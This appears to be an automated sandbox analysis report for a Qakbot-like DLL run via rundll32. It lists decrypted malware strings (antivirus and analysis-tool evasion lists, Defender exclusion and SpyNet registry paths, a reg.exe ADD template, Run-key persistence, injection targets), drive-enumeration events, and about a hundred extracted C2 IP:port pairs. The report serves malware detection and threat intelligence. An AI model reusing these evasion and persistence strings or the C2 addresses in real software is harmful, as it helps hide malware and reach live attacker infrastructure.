Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: advapi32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ws2_32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: .cfg
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: aabcdeefghiijklmnoopqrstuuvwxyyz
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_Product
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: WQL
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: wininet.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: LastBootUpTime
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: S:(ML;;NW;;;LW)
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\CertEnrollCtrl.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: urlmon.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Create
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_PnPEntity
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\grpconv.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Initializing database...
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\SearchIndexer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: winsta0\default
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: .dat
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: WBJ_IGNORE
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: next
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\AtBroker.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: wpcap.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: aaebcdeeifghiiojklmnooupqrstuuyvwxyyaz
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\sethc.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: image/pjpeg
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: fmon.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: bdagent.exe;vsserv.exe;vsservppl.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\SndVol.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: vbs
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: aswhooka.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SysWOW64
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\mspaint.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: mpr.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: image/gif
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: crypt32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ntdll.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: open
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\explorer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: CSFalconService.exe;CSFalconContainer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\wextract.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\mobsync.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\SearchIndexer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %u.%u.%u.%u.%u.%u.%04x
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\explorer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SystemRoot
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: cscript.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: MBAMService.exe;mbamgui.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\xwizard.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\wermgr.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: AvastSvc.exe;aswEngSrv.exe;aswToolsSvc.exe;afwServ.exe;aswidsagent.exe;AvastUI.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: C:\INTERNAL\__empty
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: .dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_PhysicalMemory
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ALLUSERSPROFILE
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: image/jpeg
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: LocalLow
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: displayName
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Mozilla/5.0 (Windows NT 6.1; rv:77.0) Gecko/20100101 Firefox/77.0
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: shlwapi.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\WerFault.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: CommandLine
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: kernel32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SubmitSamplesConsent
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: 1234567890
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: wbj.go
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\wextract.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_DiskDrive
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: vkise.exe;isesrv.exe;cmdagent.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: System32
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Name
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\WerFault.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: WRSA.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: c:\\
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: reg.exe ADD "HKLM\%s" /f /t %s /v "%s" /d "%s"
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SpyNetReporting
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: FALSE
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: aswhookx.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Packages
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SonicWallClientProtectionService.exe;SWDash.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: application/x-shockwave-flash
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Sophos UI.exe;SophosUI.exe;SAVAdminService.exe;SavService.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: RepUx.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\mspaint.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Winsta0
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Caption,Description,DeviceID,Manufacturer,Name,PNPDeviceID,Service,Status
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: CynetEPS.exe;CynetMS.exe;CynetConsole.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\wermgr.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %ProgramFiles(x86)%\Internet Explorer\iexplore.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: avp.exe;kavtray.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: root\SecurityCenter2
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\backgroundTaskHost.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: MsMpEng.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\CertEnrollCtrl.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: userenv.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: csc_ui.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: frida-winjector-helper-32.exe;frida-winjector-helper-64.exe;tcpdump.exe;windump.exe;ethereal.exe;wireshark.exe;ettercap.exe;rtsniff.exe;packetcapture.exe;capturenet.exe;qak_proxy;dumpcap.exe;CFF Explorer.exe;not_rundll32.exe;ProcessHacker.exe;tcpview.exe;filemon.exe;procmon.exe;idaq64.exe;loaddll32.exe;PETools.exe;ImportREC.exe;LordPE.exe;SysInspector.exe;proc_analyzer.exe;sysAnalyzer.exe;sniff_hit.exe;joeboxcontrol.exe;joeboxserver.exe;ResourceHacker.exe;x64dbg.exe;Fiddler.exe;sniff_hit.exe;sysAnalyzer.exe;BehaviorDumper.exe;processdumperx64.exe;anti-virus.EXE;sysinfoX64.exe;sctoolswrapper.exe;sysinfoX64.exe;FakeExplorer.exe;apimonitor-x86.exe;idaq.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: \\.\pipe\
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: pstorec.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: NTUSER.DAT
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: from
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\sethc.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: netapi32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\Utilman.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: gdi32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: setupapi.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SELECT * FROM Win32_Processor
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: iphlpapi.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Caption
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: CrAmTray.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ccSvcHst.exe;NortonSecurity.exe;nsWscSvc.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_ComputerSystem
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\backgroundTaskHost.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %ProgramFiles%\Internet Explorer\iexplore.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: user32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: xagtnotif.exe;AppUIMonitor.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\dxdiag.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SentinelServiceHost.exe;SentinelStaticEngine.exe;SentinelAgent.exe;SentinelStaticEngineScanner.exe;SentinelUI.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: \sf2.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\grpconv.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: egui.exe;ekrn.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Software\Microsoft
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %S.%06d
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: bcrypt.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SELECT * FROM AntiVirusProduct
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\SndVol.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\explorer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\Utilman.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows Defender\SpyNet
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: wtsapi32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: t=%s time=[%02d:%02d:%02d-%02d/%02d/%d]
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\xwizard.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: shell32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: TRUE
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_Bios
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SELECT * FROM Win32_OperatingSystem
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\mobsync.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: c:\hiberfil.sysss
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: /
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\AtBroker.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ByteFence.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: type=0x%04X
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: snxhk_border_mywnd
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ROOT\CIMV2
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: dwengine.exe;dwarkdaemon.exe;dwwatcher.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: https
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\explorer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: fshoster32.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: kernelbase.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: regsvr32.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %s\system32\
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\dxdiag.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_Process
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: rundll32.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: LOCALAPPDATA
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: cmd.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: APPDATA
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: select
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: .exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: mcshield.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: advapi32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ws2_32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: .cfg
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: aabcdeefghiijklmnoopqrstuuvwxyyz
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_Product
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: WQL
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: wininet.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: LastBootUpTime
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: S:(ML;;NW;;;LW)
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\CertEnrollCtrl.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: urlmon.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Create
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_PnPEntity
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\grpconv.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Initializing database...
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\SearchIndexer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: winsta0\default
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: .dat
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: WBJ_IGNORE
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: next
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\AtBroker.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: wpcap.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: aaebcdeeifghiiojklmnooupqrstuuyvwxyyaz
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\sethc.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: image/pjpeg
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: fmon.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: bdagent.exe;vsserv.exe;vsservppl.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\SndVol.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: vbs
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: aswhooka.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SysWOW64
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\mspaint.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: mpr.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: image/gif
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: crypt32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ntdll.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: open
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\explorer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: CSFalconService.exe;CSFalconContainer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\wextract.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\mobsync.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\SearchIndexer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName

Source: unknown	HTTPS traffic detected: 217.195.153.225:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.114.21.40:443 -> 192.168.2.5:49721 version: TLS 1.2

Source:	Binary string: ExtendScript.pdb source: rundll32.exe, 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmp, main.dll.1.dr
Source:	Binary string: ExtendScript.pdb source: rundll32.exe, 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmp, main.dll.1.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 24.234.220.88:990
Source: Malware configuration extractor	IPs: 70.28.50.223:2078
Source: Malware configuration extractor	IPs: 96.56.197.26:2083
Source: Malware configuration extractor	IPs: 103.123.223.133:443
Source: Malware configuration extractor	IPs: 83.249.198.100:2222
Source: Malware configuration extractor	IPs: 199.27.66.213:443
Source: Malware configuration extractor	IPs: 90.104.151.37:2222
Source: Malware configuration extractor	IPs: 94.204.202.106:443
Source: Malware configuration extractor	IPs: 72.205.104.134:443
Source: Malware configuration extractor	IPs: 65.95.141.84:2222
Source: Malware configuration extractor	IPs: 70.28.50.223:2078
Source: Malware configuration extractor	IPs: 82.131.141.209:443
Source: Malware configuration extractor	IPs: 77.126.99.230:443
Source: Malware configuration extractor	IPs: 71.38.155.217:443
Source: Malware configuration extractor	IPs: 205.237.67.69:995
Source: Malware configuration extractor	IPs: 84.215.202.8:443
Source: Malware configuration extractor	IPs: 24.234.220.88:465
Source: Malware configuration extractor	IPs: 76.178.148.107:2222
Source: Malware configuration extractor	IPs: 116.74.163.130:443
Source: Malware configuration extractor	IPs: 70.28.50.223:2087
Source: Malware configuration extractor	IPs: 147.147.30.126:2222
Source: Malware configuration extractor	IPs: 173.88.135.179:443
Source: Malware configuration extractor	IPs: 103.140.174.20:2222
Source: Malware configuration extractor	IPs: 77.86.98.236:443
Source: Malware configuration extractor	IPs: 92.149.250.113:2222
Source: Malware configuration extractor	IPs: 96.87.28.170:2222
Source: Malware configuration extractor	IPs: 86.168.210.41:443
Source: Malware configuration extractor	IPs: 176.142.207.63:443
Source: Malware configuration extractor	IPs: 12.172.173.82:32101
Source: Malware configuration extractor	IPs: 86.132.236.117:443
Source: Malware configuration extractor	IPs: 70.50.83.216:2222
Source: Malware configuration extractor	IPs: 161.142.103.187:995
Source: Malware configuration extractor	IPs: 45.62.70.33:443
Source: Malware configuration extractor	IPs: 12.172.173.82:465
Source: Malware configuration extractor	IPs: 178.175.187.254:443
Source: Malware configuration extractor	IPs: 83.110.223.61:443
Source: Malware configuration extractor	IPs: 105.184.209.194:995
Source: Malware configuration extractor	IPs: 41.186.88.38:443
Source: Malware configuration extractor	IPs: 102.156.10.183:443
Source: Malware configuration extractor	IPs: 27.109.19.90:2078
Source: Malware configuration extractor	IPs: 47.205.25.170:443
Source: Malware configuration extractor	IPs: 12.172.173.82:993
Source: Malware configuration extractor	IPs: 76.170.252.153:995
Source: Malware configuration extractor	IPs: 69.242.31.249:443
Source: Malware configuration extractor	IPs: 24.234.220.88:995
Source: Malware configuration extractor	IPs: 125.99.69.178:443
Source: Malware configuration extractor	IPs: 79.168.224.165:2222
Source: Malware configuration extractor	IPs: 75.143.236.149:443
Source: Malware configuration extractor	IPs: 14.192.241.76:995
Source: Malware configuration extractor	IPs: 124.122.47.148:443
Source: Malware configuration extractor	IPs: 81.229.117.95:2222
Source: Malware configuration extractor	IPs: 98.145.23.67:443
Source: Malware configuration extractor	IPs: 114.143.176.236:443
Source: Malware configuration extractor	IPs: 103.144.201.48:2078
Source: Malware configuration extractor	IPs: 122.186.210.254:443
Source: Malware configuration extractor	IPs: 69.160.121.6:61201
Source: Malware configuration extractor	IPs: 12.172.173.82:21
Source: Malware configuration extractor	IPs: 72.253.126.216:443
Source: Malware configuration extractor	IPs: 75.109.111.89:443
Source: Malware configuration extractor	IPs: 76.86.31.59:443
Source: Malware configuration extractor	IPs: 116.120.145.170:995
Source: Malware configuration extractor	IPs: 12.172.173.82:50001
Source: Malware configuration extractor	IPs: 81.101.185.146:443
Source: Malware configuration extractor	IPs: 201.244.108.183:995
Source: Malware configuration extractor	IPs: 68.203.69.96:443
Source: Malware configuration extractor	IPs: 103.139.242.6:443
Source: Malware configuration extractor	IPs: 103.42.86.42:995
Source: Malware configuration extractor	IPs: 85.61.165.153:2222
Source: Malware configuration extractor	IPs: 76.16.49.134:443
Source: Malware configuration extractor	IPs: 125.99.76.102:443
Source: Malware configuration extractor	IPs: 184.182.66.109:443
Source: Malware configuration extractor	IPs: 70.28.50.223:32100
Source: Malware configuration extractor	IPs: 50.68.204.71:993
Source: Malware configuration extractor	IPs: 85.57.212.13:3389
Source: Malware configuration extractor	IPs: 41.227.190.59:443
Source: Malware configuration extractor	IPs: 70.28.50.223:3389
Source: Malware configuration extractor	IPs: 31.53.29.235:2222
Source: Malware configuration extractor	IPs: 89.79.229.50:443
Source: Malware configuration extractor	IPs: 50.68.186.195:443
Source: Malware configuration extractor	IPs: 47.199.241.39:443
Source: Malware configuration extractor	IPs: 93.147.235.8:443
Source: Malware configuration extractor	IPs: 75.141.227.169:443
Source: Malware configuration extractor	IPs: 45.243.142.31:995
Source: Malware configuration extractor	IPs: 79.92.15.6:443
Source: Malware configuration extractor	IPs: 85.104.105.67:443
Source: Malware configuration extractor	IPs: 89.129.109.27:2222
Source: Malware configuration extractor	IPs: 86.176.83.44:2222
Source: Malware configuration extractor	IPs: 24.234.220.88:993
Source: Malware configuration extractor	IPs: 89.32.156.5:995
Source: Malware configuration extractor	IPs: 12.172.173.82:22
Source: Malware configuration extractor	IPs: 103.101.203.177:443
Source: Malware configuration extractor	IPs: 70.28.50.223:2083
Source: Malware configuration extractor	IPs: 98.187.21.2:443
Source: Malware configuration extractor	IPs: 70.49.205.198:2222
Source: Malware configuration extractor	IPs: 96.56.197.26:2222
Source: Malware configuration extractor	IPs: 92.9.45.20:2222
Source: Malware configuration extractor	IPs: 86.195.14.72:2222
Source: Malware configuration extractor	IPs: 172.115.17.50:443
Source: Malware configuration extractor	IPs: 100.4.163.158:2222
Source: Malware configuration extractor	IPs: 80.12.88.148:2222
